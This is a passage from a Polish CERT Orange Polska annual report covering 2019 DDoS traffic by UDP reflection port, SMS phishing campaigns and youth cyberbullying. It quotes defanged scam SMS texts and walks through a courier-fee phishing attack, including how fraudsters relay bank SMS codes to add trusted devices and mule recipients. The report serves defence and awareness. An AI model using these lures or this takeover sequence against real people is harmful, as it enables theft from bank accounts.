Przedstawiamy skalę oraz typy wolumetrycznych ataków DDoS identy-
fikowanych na analizowanych łączach Orange Polska. Analizy dotyczą 
przede wszystkim rodzajów wykrywanych ataków DDoS, ich siły, czasu 
trwania oraz porównań z ubiegłym rokiem.

Liczba oraz wolumen ataków DDoS w 2019 roku

Ataki DDoS – charakterystyka ruchu 
Poniżej przedstawiamy charakterystyki ruchu dla najczęściej wykorzystywanych w atakach DDoS portów protokołu 
UDP na analizowanych łączach Orange Polska. Dane podawane na wykresach są uśrednione.

Port 389 jest wykorzystywany przez usługę CLDAP (Connectless Lightweight Directory Access Protocol), służącej do korzysta-
nia z usług katalogowych. Największy ruch na tym porcie (powyżej 200 Gbps) zaobserwowano w styczniu oraz marcu.

Port 123 jest używany przez usługę NTP (Network Time Protocol) służącej synchronizacji czasu w systemach teleinfor-
matycznych i telekomunikacyjnych. Największy ruch na tym porcie zaobserwowano w marcu (niemal 140 Gbps) oraz w 
grudniu (powyżej 100 Gbps).
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Charakterystyka ruchu na porcie 123 na analizowanym łączu Orange Polska
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Maksymalna odnotowana 
szczytowa wielkość ataku: 

239,5 Gbps.

Średnia szczytowa wielkość 
ataku: 

około 4,3 Gbps.

szczytowy ruch na porcie

szczytowy ruch na porcie
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Port 53 używany przez usługę DNS (Domain Name System), odpowiedzialną za wzajemną translację nazw domenowych 
i adresów IP. Największy ruch na tym porcie został zidentyfikowany w lipcu (niemal 80 Gbps).

Port 1900 jest używany przez protokół SSDP (Simple Service Discovery Protocol), który służy do wykrywania urządzeń 
UPnP (Universal Plug and Play), np. klawiatur, drukarek, czy routerów. Największy ruch na tym porcie zaobserwowano 
w sierpniu (niemal 8 Gbps).

Port 19, używany przez protokół CharGen (Character Generator Protocol), który służy generowaniu znaków w celach 
testowych. Największy ruch na tym porcie zaobserwowano w lutym oraz marcu (ponad 3 Gbps).

Ataki DDoS – typy ataków
Klasyfikacja ataków DDoS używana przez CERT Orange Polska opiera się na trzech kategoriach o różnym poziomie kryty-
czności. Przeprowadzana jest ona na podstawie wolumenu ruchu oraz czasu trwania anomalii. Alert wysoki najczęściej ma 
istotny wpływ na dostępność usług, zaś te o poziomach średnim i niskim ograniczają̨ ją jedynie w specyficznych warunkach. 

Częstość występowania ataków DDoS na przestrzeni ostatnich lat utrzymuje się na zbliżonym poziomie, choć w roku 
2019 zarejestrowano ich więcej w porównaniu do roku 2018. Najwięcej alertów na przestrzeni roku 2019 zarejestrowano 
13 kwietnia (ponad 560) oraz 27 stycznia (ponad 530).

Charakterystyka ruchu na porcie 53 na analizowanym łączu Orange Polska

Charakterystyka ruchu na porcie 1900 na analizowanym łączu Orange Polska

Rozkład alertów DDoS w podziale na poziom krytyczności

Charakterystyka ruchu na porcie 19 na analizowanym łączu Orange Polska
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Warto odnotować, iż w roku 2019 identyfikowano 
sporadyczne przypadki ataków Reflected DDoS, 
z wykorzystaniem takich usług jak: Apple Remote 
Desktop (ARD) – port (UDP/3283), WS-Discovery 
(WSD) – port UDP/3702), czy Ubiquiti – port UDP/10001.

Rodzaje ataków:
UDP Fragmentation – atak polegający na przesyłaniu 
przez atakującego dużych pakietów UDP (powyżej 1500 
bajtów). Zważywszy na konieczność ponownego połączenia 
zdefragmentowanych pakietów na urządzeniu końcowym, 
niezbędne jest wykorzystanie dodatkowych zasobów 
procesora, co obciąża system informatyczny.

Reflected DDoS – inaczej atak odbity, czyli metoda 
wykorzystująca podatności protokołów w komunikacji 
sieciowej. W celu wzmocnienia (amplifikacji) użyte mogą 
być podatności m.in. takich protokołów jak UDP, DNS, 
NTP, CLDAP czy CHARGEN.

ICMP Flood – technika polegająca na przesłaniu 
niestandardowej ilości dużych pakietów ICMP w celu 
„zalania” sieci komputerowej ofiary. Zazwyczaj przy tym 
ataku wykorzystuje się sieć przejętych urządzeń (botów). 
W wyniku operacji, następuje ograniczenie przepustowości 
sieci i zablokowanie usług.

SYN Flood – atak oparty na podatności three-way 
handshake, procedury nawiązywania połączenia 
wykorzystywanej w protokole TCP. Atakujący wysyła 
na porty TCP flagę SYN, która służy do inicjowania 
połączenia pomiędzy hostem źródłowym a docelowym. 
Następnie, system atakowanego odpowiada wiadomością 
SYN-ACK, która otwiera port i czeka na potwierdzenie 
nawiązania połączenia – czeka na flagę ACK od atakują-
cego. Flaga jednak nie jest przesyłana, przez co połą-
czenie nigdy nie jest ustanawiane, ale przez określony 
czas „ofiara” oczekuje na potwierdzenie co wykorzystuje 
jej zasoby.

Jak się bronić? 
Jak nie uczestniczyć w atakach 
Reflected DDoS?
• wyłączyć usługę wszędzie tam, gdzie nie jest potrzebna, 

• jeśli nie jest to konieczne, nie udostępniać usługi 
wszystkim użytkownikom, 
 

• korzystać z możliwie najnowszej wersji protokołu.

Choć istnieje wiele metod ochrony przed DDoS, duże 
ataki wolumetryczne mogą zostać powstrzymane jedynie 
na poziomie ISP bądź przy wsparciu specjalistycznych 
firm „ukrywających” chronione serwisy za swoją infra-
strukturą. W takiej sytuacji ograniczenie skutków następuje 
dzięki geograficznemu rozproszeniu węzłów, filtrowaniu 
złośliwego ruchu oraz łączom o dużej przepustowości.

W rozkładzie procentowym poziomu krytyczności ataków 
DDoS największy udział alertów stanowią te o średnim 
stopniu krytyczności – ponad połowę odnotowanych zdarzeń. 
W porównaniu do 2018 r. jest ich nieznacznie więcej. Nastąpił 
wzrost odnotowanych zdarzeń o krytyczności wysokiej 
o ponad 6 pp w porównaniu z rokiem 2018, natomiast spadek 
tych o krytyczności niskiej o niemal 10 pp.

.

W rozkładzie typów alertów, podobnie jak w poprzednich 
latach, najczęściej występującymi rodzajami ataków wolume-
trycznych, obok UDP Fragmentation, były ataki Reflected 
DDoS przy użyciu protokołów UDP (CLDAP, DNS, NTP, SSDP, 
CHAR-GEN). Wśród nich w roku 2019, podobnie jak w roku 
2018, najczęściej wykorzystywane były otwarte serwery 
LDAP – identyfikowane w 52 proc. wszystkich ataków 
(największy wzrost w porównaniu do roku 2018 – o ponad 20 
punktów procentowych), otwarte serwery DNS (42 proc. – 
znaczny wzrost w stosunku do roku 2018 – o 20 pp.), niepo-
prawnie skonfigurowane serwery czasu (NTP) – identyfikowane 
w 21 proc. wszystkich ataków (spadek o niemal 12 pp.), 
protokół CHARGEN (1 proc. – spadek o ponad 3 pp.) oraz 
SSDP (poniżej 1 proc.). Ataki typu UDP Fragmentation 
identyfikowane były w ponad 82 proc. wszystkich ataków 
(64 proc. w 2018 r. – wzrost o niemal 19 pp.).
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Średnia wielkość szczytowego natężenia 
ataku DDoS zaobserwowana w sieci 
Orange Polska sięgnęła poziom 
4,3 Gbps – ponad dwukrotny wzrost 
w porównaniu do roku 2018 (przy 2,1 
Gbps). Z kolei największa odnotowana 
wartość natężenia ruchu w szczycie ataku 
to ok. 239,5 Gbps/66,6 Mpps (przy 
198 Gbps/20 Mpps w 2018). 

Wolumen ataków DDoS 
zaobserwowanych w sieci Orange Polska

Poziom krytyczności alertów DDoS 
w rozkładzie procentowym

Diagram poziomu krytyczności alertów DDoS 
w rozkładzie procentowym
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Nienawiść była i będzie zawsze 

„Kiedyś to było!”, „Ach, ta dzisiejsza młodzież...”. 
„Znacie pojęcie juvenoi?” Ukuty przez socjologa Davida 
Finkelhora zwrot oznacza przesadzony lęk, wynikający 
z wpływu zmian społecznych (przede wszystkim 
mediów społecznościowych). Czy jest zatem się czego 
obawiać? Czy dzisiaj, gdy nasze dzieci są „digital 
natives”, a sieć jest immanentną częścią ich życia, 
będzie ona mieć nieodwracalny wpływ na ich psychikę? 
Wreszcie – czy w aspekcie pokus i ryzyk XXI wiek tak 
bardzo różni się od lat 70./80. ubiegłego stulecia?

„Dla beki”

Wyobraźcie sobie taką sytuację, która faktycznie miała 
miejsce w jednej ze stołecznych szkół. Do VIII klasy 
przychodzi nowa uczennica, ze sporym wyzwaniem 
wdrożenia się w funkcjonującą już od początku szkoły 
grupę rówieśniczą. Obecnie bycie skrytym też nie pomaga. 
W efekcie jeden z uczniów zakłada konto na Facebooku 
na fałszywe dane, wciągając koleżankę w dyskusję, 
o – nazwijmy to – podłożu romantycznym. Miłe słowa, 
komplementy, a w założeniu: umówienie się z nią na randkę 
w miejscu publicznym, wyłącznie w celu „wystawienia” 
ofiary. Gdy ta pojawi się na miejscu i zaniepokojona zacznie 
rozglądać za amantem – nakręcenie z ukrycia filmu i dalsze 
rozpowszechnianie go wśród uczniów. Po co? „Dla beki” 
rzecz jasna. Jedni powiedzą, że dla przyjemności ujrzenia 
cudzego cierpienia, inni – że ze zwykłej młodzieńczej 
głupoty, czy dla podbudowania własnego ego. Ostatecznie 
cała zaplanowana akcja nie udała się do końca, gdy 
dowcipnisia wydali bierni obserwatorzy, po tym, gdy 
znudził się flirtowaniem i ni z tego ni z owego przeszedł 
do wulgarnego obrażania ofiary. Wtedy znaleźli się 
uczniowie, którzy uznali, że sprawy zabrnęły 
za daleko i poinformowali o całej sprawie dorosłych.

Kiedyś karteczki, teraz komunikatory

Brzmi strasznie? Trzeba przyznać, że przynajmniej 
nie najlepiej. Nie sposób nie współczuć ofierze, można 
się cieszyć, że cała sytuacja zakończyła się dla niej 
nieco mniejszą traumą. Pytanie jednak, czy za fakt, 
iż to wszystko w ogóle się zdarzyło, należy winić internet? 
Czy w latach 80., gdy sam byłem w wieku młodzieży 
z opisywanej historii, takie rzeczy nie miały miejsca? 
Sieć dała tylko dodatkową płaszczyznę działań, natura 
zachowań nastolatków pozostała niezmieniona. 
Do tego, co dzisiaj piszemy przy użyciu anonimowego 
konta na Facebooku, kiedyś wystarczyły małe karteczki, 
podawane z ławki do ławki, gdy nauczyciel, nie patrzył. 
Co gorsza – wtedy od razu wszyscy widzieli, kto dostał 
kartkę, otwarcie obserwując reakcje ofiary. Dzisiejsza 
młodzież wcale nie jest gorsza od poprzedniego 
pokolenia, a co do technologii – wręcz zaryzykowałbym 
stwierdzenie, że mogą pomóc. Tak, jak co roku, podczas 
kończącej konferencję Safer Internet, otwartej debaty 

biorący w niej udział rozmawiają o cyberprzemocy, tak 
ja chętnie stanę w kontrze i powiem: „Nie przesadzajmy!”. 
Nie bez przyczyny wspominałem na początku artykułu 
o digital natives, o tym, że dla młodzieży lat 20. XXI wieku 
internet jest naturalnym środowiskiem. Dlatego oni, 
mówiąc o swoich dzieciach, to nie w sieci będą szukać 
źródła problemów.

Smartfon to nie demon

Nie demonizujmy internetu, nie demonizujmy technologii, 
nie bójmy się jej. Nauczmy się z nią żyć, postarajmy  
się, by wniknęła w nasze życie na naszych prawach. 
Czy opisana w artykule historia zdarzyłaby się, gdyby 
nie było Facebooka? Oczywiście, że tak, wyglądałaby tylko 
nieco inaczej. Mowa nienawiści (nieanglojęzyczny neutralny 
w wydźwięku „hejt”, który swoim brzmieniem nie niesie 
odpowiednio dużego ładunku emocjonalnego) istnieje 
od początku ludzkości, niezależnie od tego, jak rozwijają 
się technologie. Co więcej, dzięki technologiom dotarcie 
do młodzieży nigdy nie było łatwiejsze! Wystarczy wyjść 
ze sztampy, do której przez lata się przyzwyczailiśmy.  
Może warto zacząć od tego, żeby nie traktować telefonu 
w szkole jak wroga? Zamiast wbijać w młodzież archaiczne 
podejście, że technologia to zło, zacząć regularnie używać 
ją na lekcjach? Dając możliwość wykorzystania telefonu 
w dobrym celu, nie tylko wyjdziemy z narracji przedstawiającej 
go jako wymysł szatana, ale też damy młodzieży szansę 
użycia smartfonu kreatywnie, a nie tylko jako konsoli 
do gier, ekranu do Youtube i XXI-wiecznej wersji słanych 
przez salę lekcyjną karteczek. Co więcej, jeśli zainteresujemy 
ich i zajmiemy im czas „dobrymi” użyciami smartfonu, 
na te głupie może im go po prostu zabraknąć. I nikt nie 
będzie tego żałować.

Michał Rosiak

CERT Orange Polska uświadamia

Uwaga! 

Wciąż wiele dzieci i młodzieży nie 
zgłasza nikomu niepokojących zdarzeń 
w internecie. Powody są różne: wstyd, 
brak zaufania do rodziców, czy 
nauczycieli. W takiej sytuacji 
zalecamy skorzystanie ze strony 
https://dyzurnet.pl. Tam, 24 godziny 
na dobę, znajdą gotowych do pomocy 
specjalistów, jednocześnie 
zachowując anonimowość.

Ataki DDoS – wolumen ataku 
i czas trwania
Na wzrost siły ataków wpływ mają nie tylko szybsze 
łącza internetowe, ale też przystępna cena ataków 
DDoS na czarnym rynku oraz w dużym stopniu 
wykorzystywanie technik wzmocnionego odbicia 
oraz botnetów bazujących na urządzeniach internetu 
rzeczy. Rozkład procentowy wolumenów ataków 
typu DDoS jest podobny jak w poprzednich latach. 
W porównaniu do roku 2018 zaobserwowano wzrost 
ataków o sile powyżej 10 Gbps (o ponad 4 pp.), 
w przedziale 0,2-0,5 Gbps (o niemal 5 pp.) oraz 
nieznaczny wzrost ataków w przedziale 5-10 Gbps 
i w przedziale 0,5-2 Gbps. W pozostałych grupach 
nastąpił spadek udziału ataków, największy w grupie 
ataków o sile poniżej 0,2 Gbps.

Podobnie jak w latach poprzednich utrzymuje się 
trend wskazujący na coraz krótszy czas trwania 
ataków. Rozkład grup czasu trwania ataków DDoS 
jest bardzo zbliżony do roku 2018. Większość 
zarejestrowanych alertów, podobnie jak w 2018 roku, 
trwało poniżej 10 minut (blisko 87 proc. wszystkich 
– spadek o nieco ponad 1 pp.). Średni czas 
trwania wszystkich zarejestrowanych alertów 
wyniósł ok.10 minut (11 minut w 2018 r.).

Więcej na temat ataków DDoS na klientów w artykule  
Krzysztofa Bialka na stronie 73.

Czas trwania ataków 
DDoS zaobserwowanych 
w sieci Orange Polska
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SMS, czyli krótka wiadomość phishingowa 
Phishing to obecnie najczęściej spotykany rodzaj ataku na użytkowników indywidualnych.  Podszywanie się pod osoby, firmy 
czy też instytucje ma na celu m.in. przechwycenie danych logowania, kradzież środków finansowych lub instalację złośliwego 
oprogramowania. W niniejszym artykule skupimy się na jednej z dwóch najpopularniejszych w 2019 roku form phishingu – 
atakach z użyciem wiadomości SMS.

Liczba interwencji CyberTarczy 
w rozkładzie miesięcznym

CyberTarcza: średnio 

4 806 007 zdarzeń dziennie.

Paczka, kurier i... puste konto

W 2019 r. przestępcy wykazali się dużą kreatywnością  
w wymyślaniu powodów, dlaczego absolutnie, bezwzględnie, 
koniecznie, bez zastanowienia, natychmiast i niezwłocznie 
musimy odwiedzić przygotowaną  przez nich fałszywą stronę. 
Próbowali też na różne sposoby wykorzystać okazane  
im zainteresowanie. W ramach działań CERT Orange 

Polska zebraliśmy, przeanalizowaliśmy i pogrupowaliśmy 
w kampanie ataki, które miały miejsce w ubiegłym roku. 
Poniżej zamieszczamy najciekawsze i najpopularniejsze 
z nich. Podane przykłady SMS-ów pochodzą ze zgłoszeń 
od naszych klientów, dlatego dane umożliwiające 
identyfikację zostały usunięte.
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Blokada ogłoszenia
Osoby zamieszczające oferty w popularnych serwisach 
ogłoszeniowych otrzymywały SMS-y informujące, 
że ich ogłoszenia zostaną zablokowane np. z powodu 
uiszczenia niepełnej opłaty. Skuteczność ataku była 
wyjątkowo wysoka, ponieważ wiadomości kierowano 
na dane kontaktowe znalezione w prawdziwych 
ogłoszeniach. Po wejściu na fałszywą stronę płatności 
i podaniu danych, klient okradany był z oszczędności 
zgromadzonych na koncie.

   Od: OTOMOTO
   Twoje konto w serwisie OTOMOTO zostalo zablokowane.   
   Oplac zalegle 0.76 PLN, by ponownie aktywowac 
   ogloszenie – hxxps://secure-pay24.pl/[...]

Niedopłacona faktura
Wiadomości informujące o niedopłaconej fakturze 
za np. usługi telekomunikacyjne lub energię elektryczną 
zawierały  groźbę blokady telefonu/wstrzymania 
dostawy prądu. „Wniesienie opłaty” następowało 
przez stronę przestępców.

   Od: Alert
   Przypominamy o zaleglosci na Twoim koncie 
   abonamentowym w wysokosci 2.09 PLN. Brak splaty 
   spowoduje blokadę numeru hxxps://oplac24.pl/[...]

Faktura ze złośliwym oprogramowaniem
SMS-y zawierały informację o wystawieniu faktury 
na podejrzanie wysoką kwotę oraz link do jej pobrania. 
Pliki docelowe zamiast faktury, zawierały złośliwe 
oprogramowanie infekujące urządzenie klienta.

    Wystawiono fakture na kwote 250 PLN za uslugi premium. 
    Szczegoly hxxp://[...]/[...].PDF.apk

Wygrana w konkursie sieci handlowej
Informacja o wygraniu atrakcyjnej nagrody (np. topowy 
model smartfona) w loterii jednej z popularnych sieci 
handlowych (w kampaniach wykorzystywane były marki 
sieci RTV/AGD i dyskontów). Należało tylko wpisać 
dane do wysyłki. Po wejściu na stronę i podaniu adresu 
pocztowego klient proszony był o uiszczenie drobnej 
opłaty rzędu 1-2 PLN za ubezpieczenie albo wysyłkę. 
Oczywiście przez stronę przestępców...

    Od: MediaM9583
    MediaMarkt czeka na Twoje dane do przesylki. 
    Sprawdz tutaj: hxxp://y27.us/[...]. Numer przesylki: [...]

Potwierdzenie deklaracji PIT
Kampania ta pojawiła się w okresie rozliczania PIT. 
Przestępcy, podszywając się pod urząd skarbowy
i grożąc wysokimi sankcjami, nakłaniali do rzekomego 
podpisania PIT przy pomocy przelewu wykonanego 
z podrobionej przez nich strony.

    Od: US e-PIT
    Podpisz e-PIT od reki autoryzujac przelewem na 1.01zl.
    hxxps://www.platnosciepity.com/[...] Brak zlozenia 
    podpisu do 30.04 moze grozic grzywna do 45000zl

Dopłata do przesyłki
Mechanizm opisano w szczegółach w kolejnej części artykułu.

Aktywacja usługi premium
Klienci otrzymywali informację, że została im aktywowana 
usługa premium (np. horoskop, anonse towarzyskie itp.), 
za którą będą musieli płacić nawet 30 PLN dziennie. 
Aby dezaktywować rzekomą usługę należało dokonać 
przelewu ze strony przestępców i przy okazji... stracić 
wszystkie pieniądze.

    Od: Eromal
    Pomyslnie aktywowano SMS Premium Eromal. Jeden 
    sms z anonsem dziennie. Koszt 30,75 zl / dziennie. 
    Rezygnacja na stronie hxxps://eromal.com/[...]

Egzekucja komornicza
Klienci byli informowani o wszczęciu egzekucji przez 
komornika i o możliwości dobrowolnej spłaty 
(nieistniejącego) zadłużenia. Co się działo dalej – wiadomo.

    Od: Wezwanie24
    Informujemy o rozpoczeniu egzekucji Sygn. Akt 8231/19 
    z tytulu zaleglosci skarbowej 9.80 PLN. Uruchomiliśmy
    splate przez PayU https://wezwanie24.eu/[...]

Wsparcie techniczne/zarządzanie usługą
Phishing różny od poprzednio opisanych, gdyż tym razem 
celem nie były bezpośrednio pieniądze, ale przejęcie 
powiązanego z telefonem konta w usłudze chmurowej. 
SMS-y dostarczane były także w języku angielskim, gdyż 
kampanie z tej rodziny często miały międzynarodowy 
charakter. Przejęte konto mogło posłużyć do kradzieży 
przechowywanych na nim danych, ich usunięcia i żądania 
okupu, resetowania hasła do innych serwisów używających 
adresu e-mail spiętego z kontem.

    Od: Apple
    LOST MODE has been successfully disabled for your 
    iPhone. If you wish to enable it again visit: 
    hxxps://appIe-us.com/[…]

Okolicznościowe
Oprócz kampanii trwających wiele tygodni lub miesięcy, 
zdarzały się też kampanie okolicznościowe. Przestępcy, 
wykorzystując szum medialny i dezorientację klientów, zwabiali 
na swoją stronę. Przykładowo, gdy jedna z firm kurierskich 
zachęcała swoich klientów do rezygnacji z powiadomień 
SMS i instalacji specjalnej aplikacji, przestępcy rozpoczęli 
rozsyłanie SMS-ów z linkiem do pobrania własnego 
(złośliwego) oprogramowania. Odbiorcy, myśląc, że ma to 
związek z działaniami firmy, o których słyszeli w mediach, 
łatwiej padali ofiarą oszustwa.
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Bo paczka była za ciężka...

Ataki na „dopłatę do kuriera” ciągną się już od co najmniej 
kilkunastu miesięcy. Aby pokazać na czym one polegają, 
prześledzimy pojedynczy atak.

Narodziny kampanii
Opracowanie bądź zakup na czarnym rynku mechanizmu 
strony phishingowej (tzw. phishing kit), to największa 
inwestycja w całej kampanii, ale w przeciwieństwie 
do pozostałych jej elementów – wielorazowego użytku. 
Stworzone wiele lat temu i ciągle rozwijane oprogramo-
wanie, nadal niemal każdego dnia używane jest do okra-
dania ludzi. Tak też było pewnego styczniowego dnia...

15.01.2020, rano: rejestracja domeny
Pojedynczy atak zaczyna się od wymyślenia nazwy domeny, 
która nie wzbudzi podejrzeń potencjalnych ofiar. Najczęściej 
nawiązuje ona do nazwy firmy lub usługi. Dodatkowo, nie 
mogła być użyta wcześniej, gdyż takie od dawna są 
blokowane. Zadanie nie jest łatwe – ile można wymyślić 
kombinacji  słowa paczka, przesyłka czy dopłata? Nawet jeśli 
dodamy do tego przyrostki typu 24, 48, 365, 247, to po kilku 
miesiącach przestępczej działalności, zbiór wolnych domen 
staje się mocno ograniczony. Zagadnienie to opisujemy 
szerzej w artykule „Nie daj się nabrać – schematy tworzenia 
domen phishingowych” naszego Raportu.

W analizowanym przez nas ataku wybór przestępców 
ostatecznie padł na nazwę dhl-paczka.eu. Domena 
została zarejestrowana.

15.01.2020, godz. 12:13: certyfikat  
Od dłuższego czasu przeglądarki ostrzegają przed otwie-
raniem stron bez szyfrowania. Ponadto większość osób 
zwraca uwagę na obecność „zielonej kłódki”, błędnie 
uznając ją za gwarancję bezpieczeństwa. Do przeprowa-
dzenia skutecznego ataku phishingowego konieczne jest 
więc wystawienie certyfikatu SSL. Wprowadzenie na rynek 
darmowych, automatycznie generowanych certyfikatów 
w sposób istotny ułatwiło ich pozyskiwanie. Z jednej strony 
przyczyniło się to do popularyzacji szyfrowania i tym samym 
utrudnienia ataków Man In The Middle, z drugiej jednak 
ułatwiło ataki phishingowe. Przestępcy mogą szybko 
i bezproblemowo włączyć na swoich stronach 
„zieloną kłódkę”. Tak też było i tym razem.

15.01.2020, popołudnie: strona www
Domena zarejestrowana, certyfikat też. Czas na 
uruchomienie strony phishingowej. Do tego potrzebne 
będą: infrastruktura serwerowa i kod samej strony. 

Korzystanie z własnej infrastruktury do ataków 
phishingowych jest nieefektywne. Po pierwsze zostawia 
ślady ułatwiające wykrycie sprawców. Ponadto po 
ujawnieniu phishingu operatorzy mogliby zablokować 
dostęp do wykorzystywanej przez oszustów infrastruktury. 
Stałaby się ona niezdatna do prowadzenia dalszych 
działań. Stąd przestępcy chętnie wykorzystują infrastrukturę 
publiczną, np. firm hostingowych. W przypadku wykrycia 
phishingu, podejrzana strona jest wprawdzie usuwana 
z serwera, ale przestępcy mogą bezproblemowo 
utworzyć kolejną, rejestrując ją na nowe fikcyjne dane.

16.01.2020, godz. 18:09: SMS
Przygotowanie treści i dostarczenie SMS-ów 
do klientów jest kluczowym elementem ataku, 
od którego w największym stopniu zależy jego 
powodzenie. Przestępca musi przygotować historię, 
która skłoni odbiorcę do odwiedzania przygotowanej 
przez niego strony.

Do dostarczania wiadomości wykorzystywane są platformy 
komercyjne, które umożliwiają tanią wysyłkę SMS w hurtowych 
ilościach. Bramki te często umożliwiają wprowadzenie dow-
olnej treści do pola „nadawca” (zarówno numeru telefonu, 
jak i nazwy tekstowej, np. „Bank”, „Informacja”, „Alert” itd.). 
Umożliwia to podszywanie się pod konkretne marki. 
W przypadku gdy w telefonie przechowywane są prawdziwe 
SMS-y z nazwą nadawcy taką samą jak użyta w ataku, 
fałszywa wiadomość umieszczana jest w tym samym wątku, 
co znacznie zwiększa jej wiarygodność.

Ze zgłoszeń klientów do CERT Orange Polska wiemy, 
że w tym ataku treść wiadomości wyglądała następująco:

    Paczka na podany adres jest drozsza. Prosimy o doplate
    1.79(PLN). Brak wplaty oznacza anulowanie 
    zamowienia – dhl-paczka.eu/zamowienie3354

Dopłata do przesyłki to jeden z najczęściej stosowanych przez 
przestępców schematów. Wysyłając kilkaset albo kilka tysięcy 
SMS, prawdopodobieństwo trafienia na osobę, która akurat 
oczekuje na kuriera jest bardzo wysokie. Co więcej, niewielka 
kwota dopłaty, wydaje się małym problem w porównaniu 
z całkowitym anulowaniem zamówienia. Z tego względu 
szanse powodzenia takiego ataku są bardzo wysokie.

16.01.2020, godz. 18:10: okradanie
Klienci chwilę po otrzymaniu SMS klikają w zawarty w nim 
link. W przeglądarce w telefonie otwiera im się przygotowana 
przez przestępców strona płatności...

...ale nie tym razem!

Na telefonach naszych klientów witryna wyglądała jak 
na rysunku „Blokada strony przez CyberTarczę”. Nie ma 
fałszywego banku, jest za to CyberTarcza Orange. Pomimo, 
iż niektórzy klienci dali się nabrać na wiadomość od oszustów 

i kliknęli złośliwy link, nie zostali okradzeni. Połączenie 
do strony przestępców zostało przechwycone 
i zablokowane. O tym, co by się stało, gdyby nie 
interweniowała CyberTarcza, napiszemy trochę dalej. 
 

17.01.2020, rano: analiza incydentu
CyberTarcza to nie tylko ochrona klientów przed 
zagrożeniami, ale także źródło ciekawych informacji 
o szczegółach przestępczych kampanii. Dzięki korelacji 
z informacjami z innych systemów sieciowych, 
np. wielkością ruchu na bramkach SMS, odtworzyliśmy  
prawdopodobny przebieg czasowy ataku. Na górnym 
wykresie zaznaczyliśmy na czerwono minutową liczbę 
klientów, którym CyberTarcza zablokowała wejście na 
stronę dhl-paczka.eu. Szare pola to przedziały czasowe, 
w których z największym prawdopodobieństwem wysyłane 
były SMS-y phishingowe. Momenty te wyznaczone zostały 
na podstawie danych statystycznych, więc szacowanie to 
obarczone jest pewnym błędem. Dolny wykres prezentuje 
narastająco liczbę unikalnych klientów, którzy trafili 
na CyberTarczę, próbując odwiedzić stronę dhl-paczka.eu. 
Za 100% przyjmujemy ogół klientów, którzy próbowali 
wejść na tę stronę w ciągu 7 dni od rozpoczęcia ataku. 

Co możemy wyczytać z tych danych?

• SMS-y wysyłane były w godzinach wieczornych – to  
typowa pora dla kampanii tego typu. Zmęczenie  
po całym dniu, odprężenie, zaangażowanie w zajęcia 
domowe zmniejszają czujność potencjalnych ofiar.

• Istnieje spora grupa klientów, która dała się złapać 
na wiadomość wysłaną przez przestępców. Phishing 
był trudny do wyłapania dla osoby, która nie słyszała 
wcześniej o tego typu zagrożeniach.

• Duża grupa klientów próbowała wejść na stronę  

w czasie 1-2 minut od prawdopodobnego momentu 
otrzymania SMS-a. Po tym czasie liczba odwiedzin 
zaczynała spadać.

• 80% prób wejścia na stronę miało miejsce do 15 minut 
po prawdopodobnym momencie otrzymania SMS-a.  
Tylko 10% osób próbowało otworzyć stronę przestępców 
kolejnego dnia.

• Odbiorcy błyskawicznie reagują na SMS-y, nie dając 
sobie czasu na zastanowienie. To na pewno zmniejsza 
szanse na uniknięcie kłopotów.

16.01.2020, godz. 18:10: historia alternatywna
Co stało się u tych użytkowników, którzy nie byli chronieni 
przez CyberTarczę?

Klienci chwilę po otrzymaniu SMS-a klikają w zawarty 
w nim link. W przeglądarce w telefonie otwiera im się 
fałszywa strona pośrednika płatności widoczna na rysunku 
„Strona podszywająca się pod PayU”. (prezentowane 
zdjęcia pochodzą wprawdzie z innej kampanii, ale 
mechanizm działania jest identyczny). Wygląda ona niemal 
dokładnie tak samo jak prawdziwa strona płatności. 
Dzięki wystawionemu certyfikatowi SSL posiada nawet 
zieloną kłódkę. Jedynym, co na pierwszy rzut oka odróżnia 
ją od oryginału, jest adres, który w niczym nie przypomina 
prawdziwego.

 

Gdy użytkownik wybierze ikonę banku, w którym posiada 
konto, wyświetlony zostanie odpowiadający mu fałszywy 
panel logowania. Tak jak poprzednio – strona do złudzenia 

Blokada strony przez CyberTarczę

Strona podszywająca się pod PayU

Uwaga, zagrożenie

CyberTarcza Orange powstrzyymała probę
phishingu!

Widzisz tę stronę, ponieważ
prawdopodobnie kliknąleś/aś w podejrzany
link w mailu lub na stronie internetowej.
Strona, na którą próbujesz wejść, to
potwierdzona witryna phishingowa,
probująca wyłudzić od Ciebie dane wrażliwe,
udając stronę znanego serwisu/marki. Próba
wejścia na fałszywą stronę została
zablokowana przez CyberTarczę. Właściwy
adres strony znajdziesz poniżej.

Powiązany serwis: DHL
Zły adres: h t t p : / / d h l  paczka.eu
Prawidłowy adres:

(adres nie jest klikalny – zaznacz go
kursorem, skopiuj i wklej do przeglądarki)

http://www.dhl.com.pl/

Przebieg czasowy ataku
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przypomina oryginał i na pierwszy rzut oka różni się 
tylko adresem – poniższe rysunki. Klient wprowadza 
login i hasło, które przestępcy automatycznie wykorzystują 
do zalogowania się ze swojego urządzenia na konto 
klienta w prawdziwym banku.

 

Po wejściu w życie dyrektywy PSD2 (jesień 2019 r.), 
bezpośrednio po zalogowaniu uwierzytelniane jest 
urządzenie użytkownika. W tym celu bank wysyła 
klientowi SMS z kodem potwierdzającym. Kod ten należy 
wpisać na stronie banku. Przestępcy wystawiają więc 
klientowi fałszywą stronę do wpisania kodu, a gdy ten 
to zrobi, przepisują go na prawdziwej stronie banku. 
Przy okazji zaznaczają opcję dodania urządzenia 
do zaufanych. Dzięki temu w przyszłości nie będą 
potrzebowali wyłudzać kodu SMS do zalogowania 
się do banku w imieniu klienta.

Następnie klientowi prezentowany jest formularz 
do potwierdzenia drobnej płatności, pod pretekstem, 
której został zwabiony na stronę przestępców. 
Gdy klient przejdzie dalej, przestępcy wysyłają 
do banku żądanie dodania odbiorcy zaufanego 
z numerem rachunku zarejestrowanego na tzw. słupa. 
W celu potwierdzenia zlecenia, bank wysyła klientowi 

kolejny SMS z kodem. Przestępcy wystawiają stronę 
do wpisania kodu. Klient, myśląc że potwierdza 
płatność, przepisuje go. Kod ten wysyłany jest przez 
oszustów do banku i tym samym dodanie odbiorcy 
zaufanego kończy się sukcesem. Dla uśpienia czujności 
klientowi wyświetlana jest strona z potwierdzeniem 
dokonania płatności.

Od tego momentu przestępcy dysponują danymi 
logowania klienta. Ich urządzenie dodane jest do urządzeń 
zaufanych. Mają też ustanowionego odbiorcę zaufanego 
z numerem kontrolowanego przez siebie konta. 
Teraz wystarczy zalogować się na konto klienta i wykonać 
przelew. Kody SMS nie są wymagane, ani przy logowaniu 
z urządzenia dodanego uprzednio do zaufanych, 
ani do wykonywania przelewu do odbiorcy zaufanego. 
Konto klienta zostaje wyczyszczone ze wszystkich 
znajdujących się na nim środków.

